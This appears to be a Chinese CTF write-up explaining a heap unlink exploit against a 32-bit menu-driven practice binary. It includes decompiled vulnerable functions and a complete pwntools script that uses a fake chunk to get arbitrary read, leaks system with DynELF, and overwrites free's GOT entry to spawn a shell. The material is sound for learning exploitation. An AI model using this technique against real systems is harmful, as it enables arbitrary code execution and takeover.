题目描述
先运行该程序,发现是一道典型的菜单题,有增删查改功能。
知识点:unlink
1 2 3 4 5 6
| nick@nick-machine:~/pwn_learn/heapLearn/unlink/t1$ ./heap 1.Add chunk 2.Set chunk 3.Delete chunk 4.Print chunk 5.Exit
|
程序分析
其中,add函数没有对申请的chunk大小做限制。
在set函数中:
1 2 3 4 5 6 7 8 9 10 11 12
| ssize_t set() { int v1;
v1 = -1; write(1, "Set chunk index:", 0x10u); __isoc99_scanf("%d", &v1); if ( v1 < 0 ) return write(1, "Set chunk data error!\n", 0x16u); write(1, "Set chunk data:", 15u); return read(0, buf[v1], 0x400u); }
|
可以发现代码中没有对写入的长度做限制,存在溢出
同时,buf[]中储存指向chunk的指针,且为全局变量,可以获得地址
由此确定程序中存在unlink漏洞
在delete函数中:
1 2 3 4 5 6 7 8 9 10 11 12
| void delete() { int v0;
v0 = -1; write(1, "Delete chunk index:", 0x13u); __isoc99_scanf("%d", &v0); if ( v0 >= 0 ) free(buf[v0]); else write(1, "Delete chunk error!\n", 0x14u); }
|
释放chunk后没有对指针赋0,会造成UAF漏洞,但此题不会利用到。
在print函数中,可输出任意index的chunk,用于泄露数据。
由于题目没有给出libc,所以需要用到DynELF来泄露system函数,可以利用unlink后修改chunk指针来实现任意读
漏洞利用
- 分配3个连续的chunk,大小为0x80(smallchunk)
chunk0、chunk1: 用于构造unlink
chunk2:用于防止被top chunk合并
- 在chunk0中构造fake chunk,准备unlink。
prevsize:0
size:0x80
fd:chunk_ptr - 0xc
bk:chunk_ptr - 0x8
注意:chunk_ptr是指向chunk0的指针变量所在的地址
,即&buf[0],而非指针指向的地址 - 从chunk0继续溢出到chunk1,修改prevsize、size(inuse位)
prevsize: 0x80
size:0x88
- 释放chunk1,触发unlink,此后buf[0],即chunk0的指针的值被修改为了chunk_ptr-0xc
- 写入chunk0,构造leak函数,准备利用DynELF来泄露system,由于指针被修改,实际写入地址是chunk_ptr-0xc。
payload = 'a' * 0xc //padding
payload += p32(chunk_ptr-0xc) //保留chunk0的指针,以便重复利用
payload += p32(addr) //将addr写入chunk1的指针(buf[1])
此后输出chunk1即为输出地址addr的值,实现可重复利用的任意地址读取 - 利用DynELF泄露出system函数地址
- 利用(5)的payload,将addr设为free_got,再向chunk1中写入system的地址。因为chunk1的指针被覆盖为free_got,所以会将system的地址写入free的got表
- 向chunk2中写入
'/bin/sh\x00'
,调用free(chunk2)
,因为free被覆盖为system,所以实际调用system(chunk2)
,成功getshell
我的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import *
elf = ELF('heap') free_got = elf.got['free'] chunk_ptr = 0x8049d60
p = remote('127.0.0.1', 4000)
def add_chunk(size): p.recvuntil('5.Exit\n') p.sendline('1') p.recvuntil('Input the size of chunk you want to add:') p.sendline(str(size))
def set_chunk(index, data): p.recvuntil('5.Exit\n') p.sendline('2') p.recvuntil('Set chunk index:') p.sendline(str(index)) p.recvuntil('Set chunk data:') p.send(data)
def delete_chunk(index): p.recvuntil('5.Exit\n') p.sendline('3') p.recvuntil('Delete chunk index:') p.sendline(str(index))
def print_chunk(index): p.recvuntil('5.Exit\n') p.sendline('4') p.recvuntil('Print chunk index:') p.sendline(str(index)) return p.recvline()
def leak(addr): payload = 'a' * 0xc + p32(chunk_ptr-0xc) + p32(addr) set_chunk(0, payload) res = print_chunk(1)[:4] print "leaking: %#x ---> %s" % (addr, res.encode('hex')) return res
add_chunk(128) add_chunk(128) add_chunk(128) set_chunk(2, '/bin/sh\x00')
payload = p32(0) + p32(0x80) + p32(chunk_ptr-0xc) + p32(chunk_ptr-0x8)
payload += 'a' * (0x80-0x10) + p32(0x80) + p32(0x88) set_chunk(0, payload)
delete_chunk(1)
d = DynELF(leak, elf = elf) system = d.lookup('system', 'libc') print "system addr: %#x" % system
payload = 'a' * 0xc + p32(chunk_ptr-0xc) + p32(free_got) set_chunk(0, payload)
set_chunk(1, p32(system))
delete_chunk(2)
p.interactive()
|
注意
- set_chunk函数中最后应该用send而非sendline,否则在发送的数据末尾会多出一个’\n’,而导致比预期多覆盖一个字节,在leak时会使chunk2的指针的一个字节被修改,最后free时导致无法getshell。若使用sendline,请在chunk1后再多加一个chunk来隔开存放’/bin/sh\x00’的chunk。
- unlink学习过程中应该着重弄清楚什么时候是地址、什么时候是值
- 此题为32位程序,若是64位应将
p32(chunk_ptr-0xc) + p32(chunk_ptr-0x8)
改为p32(chunk_ptr-0x18) + p32(chunk_ptr-0x10)
相关链接
题目链接:heap
HITCON CTF 2014-stkof